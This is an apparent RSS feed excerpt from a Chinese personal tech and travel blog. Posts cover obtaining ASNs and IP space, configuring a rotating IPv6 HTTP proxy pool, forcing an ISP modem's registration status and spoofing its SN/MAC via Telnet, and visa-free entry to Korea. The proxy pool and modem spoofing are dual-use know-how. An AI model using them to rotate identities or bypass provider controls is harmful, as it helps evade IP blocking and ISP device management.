    &quot;description_full&quot;: [
      &quot;OwO Network, LLC&quot;
    ],
    &quot;country_code&quot;: &quot;US&quot;,
    &quot;website&quot;: &quot;https://net.owo.network&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实本来有一个 ASN 就够了，但是由于我的 LIR 即将不再续费 RIPE 的会员，因此我需要重新找一个 LIR 将 ASN 转移过去。刚好我联系了我的好朋友 SteveYi &lt;a href=&quot;https://bgp.tools/as/7480&quot;&gt;AS7480&lt;/a&gt;。本来是想转移到他名下，后来就想着既然都重新整，不如重新申请一个更短的 2byte 的 ASN。&lt;/p&gt;
&lt;p&gt;2byte 的 ASN 范围是 1-65535，而 4byte 的 ASN 范围是 131072-4294967295。(其中还存在保留的一些号码，简单说就是 4byte 的 ASN 一定是 6 位数及以上的，2byte 的 ASN 一定是 5 位数及以下的)&lt;/p&gt;
&lt;p&gt;具体的 ASN 的某个 Block 属于哪个 RIR 可以参考 &lt;a href=&quot;https://www.iana.org/assignments/as-numbers/as-numbers.xhtml&quot;&gt;IANA 的 ASN 分配&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;我的好朋友 SteveYi 帮我询问了 RIPE，我自己又发邮件询问了好几个网上的 LIR，得到的回复是 &lt;strong&gt;任何 RIR 不再分配 2byte 的 ASN&lt;/strong&gt;。最终在 2024 年 9 月 20 日 SteveYi 把他不用的 &lt;a href=&quot;https://bgp.tools/as/60614&quot;&gt;AS60614&lt;/a&gt; 转让给我了。&lt;/p&gt;
&lt;p&gt;转移之后的 ASN 有一点比较头痛的是，无法绑定 PeeringDB。原因就是 PeeringDB 的系统做的太烂了，得要给客服发邮件联系他们帮忙处理。&lt;/p&gt;
&lt;h2&gt;我的第三个 ASN&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;asn&quot;: 30700,
  &quot;name&quot;: &quot;OWO-NETWORK&quot;,
  &quot;description_short&quot;: &quot;OwO Network, LLC&quot;,
  &quot;description_full&quot;: [
    &quot;OwO Network, LLC&quot;
  ],
  &quot;country_code&quot;: &quot;US&quot;,
  &quot;website&quot;: &quot;https://net.owo.network&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在第二个 ASN 转移的时候，我已经有了美国的公司 &lt;strong&gt;OwO Network, LLC&lt;/strong&gt;，所以我当时就已经向 ARIN 申请 ASN。由于 ARIN 申请 ASN 的过程比较繁琐，首先要创建 ORG ID，然后才可以请求 IP 或者 ASN 资源。&lt;/p&gt;
&lt;h3&gt;为什么要申请 ARIN 的 ASN&lt;/h3&gt;
&lt;p&gt;因为 ARIN 对于 ASN 和 IP 资源的收费是全世界所有的 RIR 定价最低的，可能没有之一，并且有机会拿到 IPv4。除此之外，ARIN 目前还会分配 2byte 的 ASN。&lt;/p&gt;
&lt;h3&gt;定价参考（来源 ARIN 官网）&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241005HHnOZ1.png&quot; alt=&quot;20241005HHnOZ1&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;申请过程&lt;/h3&gt;
&lt;p&gt;关于 ARIN 申请 ASN 和 IP 资源的教程在网上几乎找不到资料，网上能找到的几乎都是 APNIC 和 RIPE 找 LIR 申请的帖子。所以其实我在开始操作的时候心里也没底，只能是走一步看一步，好在 ARIN 的工作人员没有刁难我，全程都非常的顺利。&lt;/p&gt;
&lt;p&gt;感兴趣的朋友可以看看这篇帖子 &lt;a href=&quot;https://blog.enicat.com/posts/arin-asn-request-guide/&quot;&gt;ARIN ASN 申请指南&lt;/a&gt;，写的比较简单，但是基本上涵盖了所有的流程。&lt;/p&gt;
&lt;p&gt;这篇文章中提到的职位需要公证之类的问题我没有遇到。&lt;/p&gt;
&lt;h3&gt;时间线&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;2024 年 9 月 17 日，提交 ORG ID 的创建。（这里补充一点，只要你提交了 ORG ID 的创建，不管最终成功或者失败，都需要先支付 50 美金的费用，否则不会进入审核流程）&lt;/li&gt;
&lt;li&gt;2024 年 9 月 19 日，要求我补充我的个人信息，例如名字，职位，工作邮箱，手机号。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 20 日，创建成功。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 23 日，签署 RSA 文件。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 24 日，ORG ID 创建被 Accepted。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 24 日，提交 ASN 申请。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 25 日，询问是否可以分配 2byte 的 ASN。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 25 日，工作人员表示不能保证，但是尽力满足我的需求。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 26 日，付款 250 美元的费用。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 27 日，成功被批准，分配了 AS30700。&lt;/li&gt;
&lt;li&gt;2024 年 9 月 30 日，提交申请 IPv4 /24 资源。&lt;/li&gt;
&lt;li&gt;2024 年 10 月 2 日，提交申请 IPv6 /40 资源，当天就被批准。&lt;/li&gt;
&lt;li&gt;2024 年 10 月 4 日，IPv4 /24 资源被批准。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;其实在向 ARIN 申请之前，我做了很多功课。尤其是向 ARIN 申请 IP 资源，大概率情况下是不会被批准的，可能需要你提供至少两份和 ISP 的线路合同，才有可能会被分配。所以如果你是为了冲着 IP 资源去申请 ARIN 的 ASN，那么我不太建议你这么做。因为 ARIN 给我分配的 &lt;a href=&quot;https://bgp.tools/as/30700&quot;&gt;AS30700&lt;/a&gt; 之前是 &lt;strong&gt;&lt;a href=&quot;https://www.uky.edu/&quot;&gt;University of Kentucky&lt;/a&gt;&lt;/strong&gt; 使用的，所以应该算是比较干净，没有被拉黑的记录。当然运气也非常好，随机获取的号码 30700 我很满意。&lt;/p&gt;
&lt;h3&gt;晒一下我现在上网的 IP&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241005lfvgsn.png&quot; alt=&quot;20241005lfvgsn&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于 IP 的信息各大数据库还没有同步，因此都是 Unknown 的状态。&lt;/p&gt;
&lt;h3&gt;IP 的使用&lt;/h3&gt;
&lt;p&gt;有机会会好好写一篇来讲讲我将如何使用这 256 个 IPv4 以及用不完的 IPv6。&lt;/p&gt;
</content:encoded></item><item><title>IPv6 proxy pool configuration</title><link>https://missuo.me/posts/ipv6-proxy-pool/</link><guid isPermaLink="true">https://missuo.me/posts/ipv6-proxy-pool/</guid><description>A technical guide to setting up an IPv6 HTTP proxy pool using BGP-announced addresses, including BIRD configuration, network interface setup, and the http-proxy-ipv6-pool tool for rotating outbound IPs.</description><pubDate>Wed, 11 Sep 2024 16:47:09 GMT</pubDate><content:encoded>&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;感谢 &lt;a href=&quot;https://github.com/zu1k&quot;&gt;zu1k&lt;/a&gt; 在两年前就已经踩好了坑，因此在我配置的过程中相对比较顺利。本文是基于 &lt;a href=&quot;https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/&quot;&gt;https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/&lt;/a&gt; 的教程进行配置的，在此基础上广播自己的 IPv6 地址。&lt;/p&gt;
&lt;h2&gt;BIRD 相关的配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# /etc/bird/bird.conf
protocol static {
  ipv6;
  route 2a06:a005:1c40::/44 reject;
  route 2a06:a005:1c40::/64 via fe80::5cb0:94ff:fe8e:5f24%ens18;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然你可以直接把 &lt;code&gt; 2a06:a005:1c40::/64&lt;/code&gt; 改成 &lt;code&gt;2a06:a005:1c40::/44&lt;/code&gt; ，这样你就可以获得更多的 IPv6 地址，可用的 IPv6 数量为 &lt;code&gt;2^84&lt;/code&gt; 个。&lt;/p&gt;
&lt;h2&gt;网卡配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# /etc/network/interfaces
auto lo
iface lo inet loopback
iface lo inet6 static
    address 2a06:a005:1c40::/64
    up ip route add local 2a06:a005:1c40::/64 dev lo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有个很坑的地方，我一开始尝试将 /64 添加到 &lt;code&gt;lo&lt;/code&gt; 上，但是发现似乎无法通过任何 IP 出站。后来查了一下，似乎必须是 /128。 于是我就干了一件很蠢的事情。我用 Python 写了一个脚本，把整个 /120 的所有 IPv6 地址手动添加到了 &lt;code&gt;lo&lt;/code&gt; 上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iface lo inet6 static
    address 2a06:a005:1c40::0/128
iface lo inet6 static
    address 2a06:a005:1c40::1/128
iface lo inet6 static
    address 2a06:a005:1c40::2/128
...
iface lo inet6 static
    address 2a06:a005:1c40::ffff/128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，这样的配置可以工作，但是显然我不可能将整个 /64 全部以这样的方式添加。在 &lt;a href=&quot;https://www.reddit.com/r/ipv6/comments/dp88q0/so_what_is_best_practice_for_loopback_128_or_64/&quot;&gt;Reddit&lt;/a&gt; 找到了答案。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip route add local 2a06:a005:1c40::/64 dev lo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我仅需要执行以上命令添加路由即可。当然为了方便，在上面对 &lt;code&gt;/etc/network/interfaces&lt;/code&gt; 的配置中，我添加了 &lt;code&gt;up&lt;/code&gt; 命令在 &lt;code&gt;lo&lt;/code&gt; 网卡启动时自动添加路由。&lt;/p&gt;
&lt;p&gt;当我以为一切准确就绪的时候，似乎又遇到了麻烦，我尝试使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --interface 2406:a005:1c40::1 ipv6.ip.sb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问外网，发现无论如何都无法访问。得到了以下错误。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl: (99) Cannot assign requested address
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过检查，发现是 &lt;code&gt;net.ipv6.ip_nonlocal_bind&lt;/code&gt; 没有设置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sysctl net.ipv6.ip_nonlocal_bind=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要使用 &lt;code&gt;sysctl net.ipv6.ip_nonlocal_bind=1&lt;/code&gt; 命令来允许非本地绑定。为了让它永久生效，需要修改 &lt;code&gt;/etc/sysctl.conf&lt;/code&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/sysctl.conf
net.ipv6.ip_nonlocal_bind=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后执行 &lt;code&gt;sysctl -p&lt;/code&gt; 命令使配置生效。&lt;/p&gt;
&lt;p&gt;完成以上步骤之后，使用 &lt;code&gt;curl --interface 2a06:a005:1c40::1 ipv6.ip.sb&lt;/code&gt; 测试是否能够访问外网。&lt;/p&gt;
&lt;h2&gt;创建 HTTP 代理池&lt;/h2&gt;
&lt;p&gt;我用到的是 &lt;a href=&quot;https://github.com/zu1k&quot;&gt;zu1k&lt;/a&gt; 的 &lt;a href=&quot;https://github.com/zu1k/http-proxy-ipv6-pool&quot;&gt;zu1k/http-proxy-ipv6-pool&lt;/a&gt; 。由于 zu1k 提供的是 DEMO，并没有编译，因此需要自己完成编译。&lt;/p&gt;
&lt;p&gt;我自己配置了一下 Actions，编译了 &lt;code&gt;http-proxy-ipv6-pool&lt;/code&gt; ，并把编译好的文件上传到了 &lt;a href=&quot;https://github.com/missuo/http-proxy-ipv6-pool/releases&quot;&gt;missuo/http-proxy-ipv6-pool/releases&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;请注意，如果你使用 &lt;a href=&quot;https://github.com/missuo/http-proxy-ipv6-pool/releases/tag/v1.0.0&quot;&gt;v1.0.0&lt;/a&gt; 版本，则是原版。如果你使用 &lt;a href=&quot;https://github.com/missuo/http-proxy-ipv6-pool/releases/tag/v1.0.1&quot;&gt;v1.0.1&lt;/a&gt; 版本，则是修改了部分代码，支持了 HTTP 代理的 Authentication 功能。你可以使用以下命令在启动时设置 &lt;code&gt;Username&lt;/code&gt; 和 &lt;code&gt;Password&lt;/code&gt; 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./http-proxy-ipv6-pool -u your_username -p your_password -b 0.0.0.0:51080 -i 2a06:a005:1c40::/64
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试&lt;/h2&gt;
&lt;p&gt;测试你的 IPv6 代理池是否可以工作。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --proxy http://your_username:your_password@your_ip:51080 http://ipv6.ip.sb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;顺利的话，你应该会得到以下结果。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240911V6b5br.png&quot; alt=&quot;20240911V6b5br&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;ip&quot;: &quot;2a06:a005:1c40::1&quot;,
  &quot;city&quot;: &quot;Toronto&quot;,
  &quot;region&quot;: &quot;Ontario&quot;,
  &quot;country&quot;: &quot;CA&quot;,
  &quot;loc&quot;: &quot;43.7064,-79.3986&quot;,
  &quot;org&quot;: &quot;AS206729 Vincent Yang&quot;,
  &quot;postal&quot;: &quot;M5A&quot;,
  &quot;timezone&quot;: &quot;America/Toronto&quot;,
  &quot;readme&quot;: &quot;https://ipinfo.io/missingauth&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240911iTO991.png&quot; alt=&quot;20240911iTO991&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过 &lt;a href=&quot;https://ipinfo.io/2a06:a005:1c40::1&quot;&gt;IPInfo&lt;/a&gt; 可见，IP 完全是原生的，来自加拿大多伦多。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;ip&quot;:&quot;2a06:a005:1c40::1&quot;,
    &quot;score&quot;:&quot;0&quot;,
    &quot;risk&quot;:&quot;low&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;a href=&quot;https://scamalytics.com/ip/2a06%253Aa005%253A1c40%253A%253A1&quot;&gt;Scamalytics&lt;/a&gt; 可见，IP 的风险分数为 &lt;code&gt;0&lt;/code&gt; ，风险等级为 &lt;code&gt;low&lt;/code&gt; 。&lt;/p&gt;
&lt;h2&gt;说明&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;由于我使用的是自己广播的 IPv6 地址，因此无需进行 ndppd 相关的配置。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>It took me several hours to switch to a 2.5G modem</title><link>https://missuo.me/posts/25g-modem/</link><guid isPermaLink="true">https://missuo.me/posts/25g-modem/</guid><description>A troubleshooting guide for replacing a China Unicom modem with a 2.5G ZXHN F7015TV3 unit, detailing DNS hijacking issues caused by incomplete ITMS registration and the solution to force registration status via Telnet commands.</description><pubDate>Fri, 21 Jun 2024 16:28:45 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;由于中国联通给的光猫是千兆的，我的带宽又刚好是千兆的，所以永远跑不满千兆，我就想着换个 2.5G 的光猫，在联系联通客服多次之后，联通表示不给换，所以我自己在小黄鱼上买一个 ZXHN F7015TV3，花费 130 元人民币。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;收到光猫之后，顺利地填写了 LOID，注册 OLT 成功，测试了一下，路由器拨号成功，获取到了公网 IP。本以为这就结束了。结果疑难杂症这就来了，我可以使用部分不需要 DNS 解析的服务，但是涉及到 DNS 解析的服务都不行。&lt;/p&gt;
&lt;p&gt;一开始以为是联通那边做了验证，我换了光猫，设备的 SN 和 MAC 地址都变了，联通阻止了我的连接，我又通过 Telnet 修改了新光猫的 SN 和 MAC 地址，伪装成和老光猫完全一直，但是还是存在一样的问题。&lt;/p&gt;
&lt;p&gt;最后我发现，&lt;code&gt;nslookup baidu.com&lt;/code&gt; 和 &lt;code&gt;nslookup bilibili.com&lt;/code&gt; 都是由 &lt;strong&gt;119.29.29.29#53&lt;/strong&gt; 解析的，但是返回的 IP 却永远是 &lt;code&gt;192.168.1.1&lt;/code&gt;，我的网络环境是光猫桥接，路由器拨号，路由器的 DHCP 服务器分配的是 &lt;code&gt;119.29.29.29&lt;/code&gt; 和 &lt;code&gt;223.6.6.6&lt;/code&gt;。奇怪的是，为什么会被 DNS 劫持解析成 &lt;code&gt;192.168.1.1&lt;/code&gt; 呢？&lt;/p&gt;
&lt;p&gt;后来在 Google 搜索之后，恩山论坛也有类似的情况。原来是在设备注册的时候，到 30% 卡住了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;到 ITMS 的通道不通，请联系客户经理或拨打 10000。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我当时在网上搜索和咨询卖家之后，发现这个 ITMS 只是电信用来远程管理光猫的，加上我是联通宽带，我并不希望 ITMS 注册成功，而且并不会影响桥接使用。结果，恶心的事情是，如果光猫的 ITMS 是“未注册”的状态，DNS 解析就会被劫持，不管你访问任何的网站理论上都会跳转到“设备注册”的页面。&lt;/p&gt;
&lt;p&gt;解决方案只能强行写死注册的状态为“注册成功”。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sendcmd 1 DB set PDTCTUSERINFO 0 Status 0
sendcmd 1 DB set PDTCTUSERINFO 0 Result 1
sendcmd 1 DB save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，顺利用上 2.5G 光猫，接下来考虑换上 2.5G 交换机。F7015TV3 电信版的性价比还是可以的，非常小巧，不占地方，支持全国移动联通电信的宽带。&lt;/p&gt;
</content:encoded></item><item><title>Visa Free in South Korea</title><link>https://missuo.me/posts/visa-free-in-south-korea/</link><guid isPermaLink="true">https://missuo.me/posts/visa-free-in-south-korea/</guid><description>A firsthand account of entering South Korea visa-free with a US visa while transiting through Japan, including airline check-in challenges and immigration secondary screening at Busan airport.</description><pubDate>Sun, 05 May 2024 03:34:54 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;今天是刚到釜山的第二天，外面下着大雨，找了一家星巴克，点了一杯 Cafe Mocha。决定提前把这篇博客写完。本文会详细介绍免签入境韩国的条件和注意事项。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;更新：小红书有朋友反馈，澳洲电子签一样适用！！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;适用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;持有 🇺🇸 美国，🇨🇦 加拿大，🇳🇿 新西兰，🇦🇺 澳大利亚 四个国家的签证之一。PR，绿卡，枫叶卡都可以。（必须是纸质签证贴在护照上的，例如新西兰和澳大利亚目前大部分都是电子签证，能不能享受不清楚，按照韩国使馆的说明是必须要纸质的）&lt;/li&gt;
&lt;li&gt;从上述四个国家出发，或者这四个国家是韩国下一个目的地。&lt;/li&gt;
&lt;li&gt;持有中国大陆护照。&lt;/li&gt;
&lt;li&gt;停留时间不超过 30 天的行程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;官方说法是必须要直飞，也就是说你不能经过任何的第三国中转。但是实测是可以有第三国中转的，具体请继续往下读。&lt;/p&gt;
&lt;h2&gt;例子&lt;/h2&gt;
&lt;h3&gt;直飞&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;路线&lt;/th&gt;
&lt;th&gt;是否免签&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;美国 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 韩国 - 美国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;加拿大 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 韩国 - 加拿大&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新西兰 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 韩国 - 新西兰&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;澳大利亚 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 韩国 - 澳大利亚&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;仅列出可行的飞行线路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以上是一些直飞的例子，是肯定可以的，而且这样的情况大概率在你出发飞韩国值机的时候不会遇到麻烦，值机可能会很顺利，但是也得看航司的工作人员是否了解这一政策，以及对这方面业务的处理经验。题外话，我有朋友持有美国签证，东方航空上海到仁川，仁川到洛杉机被告知无法获得登机牌，最后放弃了这一趟行程，损失惨重，但是这完全是东航工作人员对免签政策不了解导致的。&lt;/p&gt;
&lt;h3&gt;第三国中转&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;路线&lt;/th&gt;
&lt;th&gt;是否免签&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;美国 - 日本 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 日本 - 韩国 - 美国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;加拿大 - 日本 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 日本 - 韩国 - 加拿大&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新西兰 - 日本 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 日本 - 韩国 - 新西兰&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;澳大利亚 - 日本 - 韩国 - 中国&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中国 - 日本 - 韩国 - 澳大利亚&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;仅列出可行的飞行线路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;请注意，&lt;strong&gt;日本&lt;/strong&gt; 只是一个例子，实际上你可以经过任何一个第三国，但是你在 &lt;strong&gt;第三国停留不能超过三天&lt;/strong&gt;，否则你就不符合免签的条件了。这种情况下，在飞往韩国的航班值机的时候可能会被卡很久，工作人员可能会告诉你你没办法入境，但是请你坚定一点，告诉航司工作人员这样的行程符合韩国的免签政策。如果他们不了解，可以让他们打电话给韩国的边检，确认一下。&lt;/p&gt;
&lt;p&gt;另外，这样的飞行线路在韩国入境的时候，也会遇到很大的麻烦，大概率会进小黑屋。但是最终还是可以顺利入境。请不要担心，下面我会分析我亲测的全程经历。&lt;/p&gt;
&lt;h2&gt;我的经历&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;日期（当地时间）&lt;/th&gt;
&lt;th&gt;航班&lt;/th&gt;
&lt;th&gt;路线&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024-05-01&lt;/td&gt;
&lt;td&gt;NH125&lt;/td&gt;
&lt;td&gt;LAX - HND&lt;/td&gt;
&lt;td&gt;洛杉机（美国） - 东京（日本）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024-05-04&lt;/td&gt;
&lt;td&gt;7C1153&lt;/td&gt;
&lt;td&gt;NRT - PUS&lt;/td&gt;
&lt;td&gt;东京（日本） - 釜山（韩国）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024-05-07&lt;/td&gt;
&lt;td&gt;MU8606&lt;/td&gt;
&lt;td&gt;PUS - PVG&lt;/td&gt;
&lt;td&gt;釜山（韩国） - 上海（中国）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我入境日本使用的是普通的旅行签证，但是您可以选择使用 Shore Pass，这样的话您在日本停留时间不能超过 72 小时。Shore Pass 相关的政策请自行搜索，如果您想使用 Shore Pass，建议选择 ANA 或者 JAL，廉航不保证能够顺利办理 Shore Pass。&lt;/p&gt;
&lt;p&gt;在从日本出发去韩国的时候，7C 的工作人员一开始把我从值机队伍里面叫出去，要求我出示我的护照，美国的 State ID 以及我的行程机票，帮我去问了一下头等舱值机的工作人员，确认可以之后让我重新排队。在轮到我办理登机牌的时候，其实不是很顺利，小姐姐询问了我整趟的行程，用一张纸记下来之后，我也一样出示了我行程所有的机票以及去往上海的机票订单，最后找了他们的几个领导从办公室赶过来，最终给我办理了登机牌，全程耗时大概 30 分钟左右。&lt;/p&gt;
&lt;p&gt;在抵达釜山之后，在正常排队入境的时候，因为我没有韩国签证，跟工作人员解释了我的行程之后，工作人员没有查到相关的免签条款，也许是没遇到我这样的情况，就喊了一个工作人员，拿着我的证件让我跟他走，就把我带到了小黑屋，让我坐下等，就把门关上了。没过多久，一个中年阿姨带了个老奶奶进来，询问了老奶奶一些问题之后，让她拍人脸和录指纹，顺利让她入境了，让我震惊的是这个韩国的边检阿姨还会说一点中文，虽然不是很标准，但是大概能懂。然后就轮到我了，我直接出示了我的机票，护照，美国签证，美国 State ID，她问我从哪里来，准备在韩国多久，有没有去上海的机票，我出示了一些机票订单。最后就是等待她在电脑上一顿输入，最后让我拍人脸录指纹，然后给我贴了张入境小票，很客气地给我开门让我入境，相当客气。全程下来，没有刁难，只是简单的盘问一下行程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240505DYtt7n.JPG&quot; alt=&quot;20240505DYtt7n&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这张韩国的 B-2 入境小票被贴在了美国签证页上，旁边就是美国边检的入境章。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;总之，如果你是像我一样的第三国中转的情况免签入境韩国的话，会比较折腾，但是最终是可以顺利入境的。另外，关于第三国中转多少天的问题，我个人认为其实是可以超过三天的，因为我注意到韩国边检在处理的时候，只会扫描你的护照信息页，以及填写的入境单。根本不会扫描你的机票，以及你的美国签证等等。所以，理论上你是否能够顺利入境完全取决于工作人员，如果你持有以上四个国家的签证，不妨可以试一试。据我所知，目前澳大利亚的学生签证也已经采用电子签证，所以对于澳洲的旅游签证和学生签证是否可以，可以等一等有效的 DP。&lt;/p&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://overseas.mofa.go.kr/cn-guangzhou-zh/wpge/m_96/contents.do&quot;&gt;免签入韩介绍大韩民国驻广州总领事馆&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Entry Permit of Hong Kong SAR</title><link>https://missuo.me/posts/entry-permit-hk/</link><guid isPermaLink="true">https://missuo.me/posts/entry-permit-hk/</guid><description>A guide to obtaining the Hong Kong SAR Entry Permit at Chinese embassies abroad, offering 14-day stays with unlimited entries for 2 years at $10, plus a personal story of missing a flight to get it.</description><pubDate>Sun, 21 Apr 2024 03:55:47 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;前段时间在小红书刷到了 「中华人民共和国香港特别行政区进入许可」，研究了一番申请的流程，打算写一篇完整的总结。在这里也记录一下我人生中第一次目送飞机 Taxi 的经历。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://r2.uid.ac/files/XV8ePd.png&quot; alt=&quot;XV8ePd&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;进入许可 vs 港澳通行证&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;签证类型&lt;/th&gt;
&lt;th&gt;单次入境&lt;/th&gt;
&lt;th&gt;入境次数&lt;/th&gt;
&lt;th&gt;单次签注费用&lt;/th&gt;
&lt;th&gt;签证有效期&lt;/th&gt;
&lt;th&gt;经常访港旅客 e-道通道（自助入境）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;进入许可&lt;/td&gt;
&lt;td&gt;14 天&lt;/td&gt;
&lt;td&gt;无限次数&lt;/td&gt;
